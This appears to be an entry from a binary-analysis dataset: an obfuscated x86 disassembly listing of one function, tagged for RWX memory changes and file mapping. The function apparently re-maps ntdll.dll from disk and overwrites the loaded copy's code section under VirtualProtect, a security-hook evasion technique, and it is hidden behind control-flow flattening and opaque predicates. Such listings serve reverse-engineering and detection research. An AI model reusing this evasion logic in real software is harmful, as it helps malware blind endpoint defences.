Function at 0x40d0b0
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x9c
mov eax, dword [0x47f080]
xor eax, ebp
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x18]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.0041e460
lea eax, [0x42cd80]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
sub esp, 4
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x58]
lea eax, [ebp - 0x18]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
sub esp, 0x10
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x84], 0x98f8b541
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x88], eax
sub eax, 0x88a408bc
je 0x40df38
jmp 0x40d150
mov eax, dword [ebp - 0x88]
sub eax, 0x9685ea53
je 0x40dd22
jmp 0x40d166
mov eax, dword [ebp - 0x88]
sub eax, 0x98f8b541
je 0x40d499
jmp 0x40d17c
mov eax, dword [ebp - 0x88]
sub eax, 0x9b010064
je 0x40df47
jmp 0x40d192
mov eax, dword [ebp - 0x88]
sub eax, 0xb18c9161
je 0x40d65d
jmp 0x40d1a8
mov eax, dword [ebp - 0x88]
sub eax, 0xb904e61a
je 0x40d631
jmp 0x40d1be
mov eax, dword [ebp - 0x88]
sub eax, 0xbae2300b
je 0x40d622
jmp 0x40d1d4
mov eax, dword [ebp - 0x88]
sub eax, 0xbc110872
je 0x40dbdc
jmp 0x40d1ea
mov eax, dword [ebp - 0x88]
sub eax, 0xc1acd31f
je 0x40de43
jmp 0x40d200
mov eax, dword [ebp - 0x88]
sub eax, 0xc8c04a88
je 0x40d759
jmp 0x40d216
mov eax, dword [ebp - 0x88]
sub eax, 0xcc111519
je 0x40df78
jmp 0x40d22c
mov eax, dword [ebp - 0x88]
sub eax, 0xcc1608a4
je 0x40d969
jmp 0x40d242
mov eax, dword [ebp - 0x88]
sub eax, 0xd939eb61
je 0x40ddaf
jmp 0x40d258
mov eax, dword [ebp - 0x88]
sub eax, 0xdb5bf8fb
je 0x40d8c0
jmp 0x40d26e
mov eax, dword [ebp - 0x88]
sub eax, 0xddcf58a3
je 0x40dd39
jmp 0x40d284
mov eax, dword [ebp - 0x88]
sub eax, 0xe0810eee
je 0x40db14
jmp 0x40d29a
mov eax, dword [ebp - 0x88]
sub eax, 0xee7540d2
je 0x40d8f3
jmp 0x40d2b0
mov eax, dword [ebp - 0x88]
sub eax, 0xf2404e71
je 0x40d7a6
jmp 0x40d2c6
mov eax, dword [ebp - 0x88]
sub eax, 0xf6d86c4f
je 0x40de66
jmp 0x40d2dc
mov eax, dword [ebp - 0x88]
sub eax, 0xf78a9d56
je 0x40dc1a
jmp 0x40d2f2
mov eax, dword [ebp - 0x88]
sub eax, 0xfc7f2786
je 0x40dc89
jmp 0x40d308
mov eax, dword [ebp - 0x88]
sub eax, 0xfd4252c2
je 0x40dc40
jmp 0x40d31e
mov eax, dword [ebp - 0x88]
sub eax, 0x1ed0de1
je 0x40dd66
jmp 0x40d334
mov eax, dword [ebp - 0x88]
sub eax, 0x193d4166
je 0x40d8b1
jmp 0x40d34a
mov eax, dword [ebp - 0x88]
sub eax, 0x1ac20ae4
je 0x40dd13
jmp 0x40d360
mov eax, dword [ebp - 0x88]
sub eax, 0x24ffa45a
je 0x40d9fd
jmp 0x40d376
mov eax, dword [ebp - 0x88]
sub eax, 0x27167580
je 0x40dfa9
jmp 0x40d38c
mov eax, dword [ebp - 0x88]
sub eax, 0x274294b5
je 0x40dc29
jmp 0x40d3a2
mov eax, dword [ebp - 0x88]
sub eax, 0x302a96d8
je 0x40d81c
jmp 0x40d3b8
mov eax, dword [ebp - 0x88]
sub eax, 0x32f0732c
je 0x40d768
jmp 0x40d3ce
mov eax, dword [ebp - 0x88]
sub eax, 0x3d1ce0cb
je 0x40de52
jmp 0x40d3e4
mov eax, dword [ebp - 0x88]
sub eax, 0x4ade596a
je 0x40df56
jmp 0x40d3fa
mov eax, dword [ebp - 0x88]
sub eax, 0x5a4bc0b8
je 0x40da91
jmp 0x40d410
mov eax, dword [ebp - 0x88]
sub eax, 0x5e0ea0af
je 0x40d782
jmp 0x40d426
mov eax, dword [ebp - 0x88]
sub eax, 0x63ddb6ba
je 0x40d4e2
jmp 0x40d43c
mov eax, dword [ebp - 0x88]
sub eax, 0x6651520a
je 0x40d6d3
jmp 0x40d452
mov eax, dword [ebp - 0x88]
sub eax, 0x6f07d244
je 0x40da1b
jmp 0x40d468
mov eax, dword [ebp - 0x88]
sub eax, 0x70b5cf68
je 0x40df8e
jmp 0x40d47e
mov eax, dword [ebp - 0x88]
sub eax, 0x783038a4
je 0x40db23
jmp 0x40d494
jmp 0x40dfd1
mov eax, dword [0x48055c]
mov ecx, dword [0x480558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf6d86c4f
mov ecx, 0x63ddb6ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40dfd1
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x60], eax
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x18
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
sub esp, 0x14
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x70]
add eax, 0x3c
mov dword [ebp - 0x4c], eax
mov ecx, dword [0x48055c]
mov eax, dword [0x480558]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf6d86c4f
mov ecx, 0xbae2300b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40dfd1
mov dword [ebp - 0x84], 0xb904e61a
jmp 0x40dfd1
mov eax, dword [ebp - 0x4c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x50]
sub eax, 0x259242df
add eax, ecx
add eax, 0x259242df
mov dword [ebp - 0x74], eax
mov word [ebp - 0x76], 0
mov dword [ebp - 0x84], 0xb18c9161
jmp 0x40dfd1
mov ecx, dword [0x48055c]
mov eax, dword [0x480558]
mov edx, ecx
sub edx, 0x62464c33
sub edx, 1
add edx, 0x62464c33
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x88a408bc
mov ecx, 0x6651520a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40dfd1
movzx eax, word [ebp - 0x76]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x74]
add eax, 4
mov dword [ebp - 0x44], eax
mov ecx, dword [0x48055c]
mov eax, dword [0x480558]
mov edx, ecx
sub edx, 0x809ca5da
sub edx, 1
add edx, 0x809ca5da
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x88a408bc
mov ecx, 0xc8c04a88
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40dfd1
mov dword [ebp - 0x84], 0x32f0732c
jmp 0x40dfd1
mov eax, dword [ebp - 0x44]
mov ax, word [eax + 2]
mov word [ebp - 0x3e], ax
mov dword [ebp - 0x84], 0x5e0ea0af
jmp 0x40dfd1
mov ax, word [ebp - 0x3e]
movzx esi, ax
mov edx, dword [ebp - 0x48]
mov eax, 0xddcf58a3
mov ecx, 0xf2404e71
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40dfd1
mov ecx, dword [0x48055c]
mov eax, dword [0x480558]
mov edx, ecx
add edx, 0x7a368114
sub edx, 1
sub edx, 0x7a368114
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9b010064
mov ecx, 0x302a96d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40dfd1
mov eax, dword [ebp - 0x74]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x18
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x74]
movzx eax, word [eax + 0x14]
mov dword [ebp - 0x38], eax
mov ecx, dword [0x48055c]
mov eax, dword [0x480558]
mov edx, ecx
add edx, 0xcb613dee
sub edx, 1
sub edx, 0xcb613dee
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9b010064
mov ecx, 0x193d4166
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40dfd1
mov dword [ebp - 0x84], 0xdb5bf8fb
jmp 0x40dfd1
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
movzx ecx, word [ebp - 0x76]
imul edx, ecx, 0x28
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x84], 0xee7540d2
jmp 0x40dfd1
mov ecx, dword [0x48055c]
mov eax, dword [0x480558]
mov edx, ecx
add edx, 0x37b5e742
sub edx, 1
sub edx, 0x37b5e742
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4ade596a
mov ecx, 0xcc1608a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40dfd1
mov ecx, dword [ebp - 0x7c]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x42cda8
call fcn.00421d60
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x31], al
mov ecx, dword [0x48055c]
mov eax, dword [0x480558]
mov edx, ecx
sub edx, 0x79b059a5
sub edx, 1
add edx, 0x79b059a5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4ade596a
mov ecx, 0x24ffa45a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40dfd1
mov dl, byte [ebp - 0x31]
mov eax, 0x6f07d244
mov ecx, 0xf78a9d56
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40dfd1
mov ecx, dword [0x48055c]
mov eax, dword [0x480558]
mov edx, ecx
sub edx, 0x56d5890f
sub edx, 1
add edx, 0x56d5890f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcc111519
mov ecx, 0x5a4bc0b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40dfd1
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x30], eax
mov ecx, dword [0x48055c]
mov eax, dword [0x480558]
mov edx, ecx
add edx, 0x688fddf9
sub edx, 1
sub edx, 0x688fddf9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcc111519
mov ecx, 0xe0810eee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40dfd1
mov dword [ebp - 0x84], 0x783038a4
jmp 0x40dfd1
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 8]
mov edx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 0xc]
sub edx, 0x375cc3ca
add edx, eax
add edx, 0x375cc3ca
lea eax, [ebp - 0x1c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x7d], al
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x7c]
mov edx, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor edx, edx
sub edx, eax
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x7c]
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, esi
sub ecx, eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 8]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041e5c0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 8]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0xc]
sub eax, 0xb21cda86
add eax, ecx
add eax, 0xb21cda86
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x84], 0xbc110872
jmp 0x40dfd1
mov esi, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
lea eax, [ebp - 0x1c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x7d], al
mov dword [ebp - 0x84], 0xf78a9d56
jmp 0x40dfd1
mov dword [ebp - 0x84], 0x274294b5
jmp 0x40dfd1
mov ax, word [ebp - 0x76]
mov word [ebp - 0x20], ax
mov dword [ebp - 0x84], 0xfd4252c2
jmp 0x40dfd1
mov eax, dword [0x48055c]
mov ecx, dword [0x480558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x70b5cf68
mov ecx, 0xfc7f2786
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40dfd1
mov ax, word [ebp - 0x20]
add ax, 0xe211
add ax, 1
sub ax, 0xe211
mov word [ebp - 0x1e], ax
mov ecx, dword [0x48055c]
mov eax, dword [0x480558]
mov edx, ecx
sub edx, 0x3cf66222
sub edx, 1
add edx, 0x3cf66222
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x70b5cf68
mov ecx, 0x1ac20ae4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40dfd1
mov dword [ebp - 0x84], 0x9685ea53
jmp 0x40dfd1
mov ax, word [ebp - 0x1e]
mov word [ebp - 0x76], ax
mov dword [ebp - 0x84], 0xb18c9161
jmp 0x40dfd1
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebp - 0x84], 0x1ed0de1
jmp 0x40dfd1
mov eax, dword [0x48055c]
mov ecx, dword [0x480558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x27167580
mov ecx, 0xd939eb61
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40dfd1
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
sub esp, 4
mov ecx, dword [0x48055c]
mov eax, dword [0x480558]
mov edx, ecx
sub edx, 0x94063ff2
sub edx, 1
add edx, 0x94063ff2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x27167580
mov ecx, 0xc1acd31f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40dfd1
mov dword [ebp - 0x84], 0x3d1ce0cb
jmp 0x40dfd1
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0041d770
add esp, 0x9c
pop esi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x60], eax
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x18
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
sub esp, 0x14
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x84], 0x63ddb6ba
jmp 0x40dfd1
mov dword [ebp - 0x84], 0x6651520a
jmp 0x40dfd1
mov dword [ebp - 0x84], 0x302a96d8
jmp 0x40dfd1
mov ecx, dword [ebp - 0x7c]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x42cda8
call fcn.00421d60
mov dword [ebp - 0x84], 0xcc1608a4
jmp 0x40dfd1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x84], 0x5a4bc0b8
jmp 0x40dfd1
mov ax, word [ebp - 0x20]
mov ax, word [ebp - 0x20]
mov ax, word [ebp - 0x20]
mov dword [ebp - 0x84], 0xfc7f2786
jmp 0x40dfd1
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
sub esp, 4
mov dword [ebp - 0x84], 0xd939eb61
jmp 0x40d134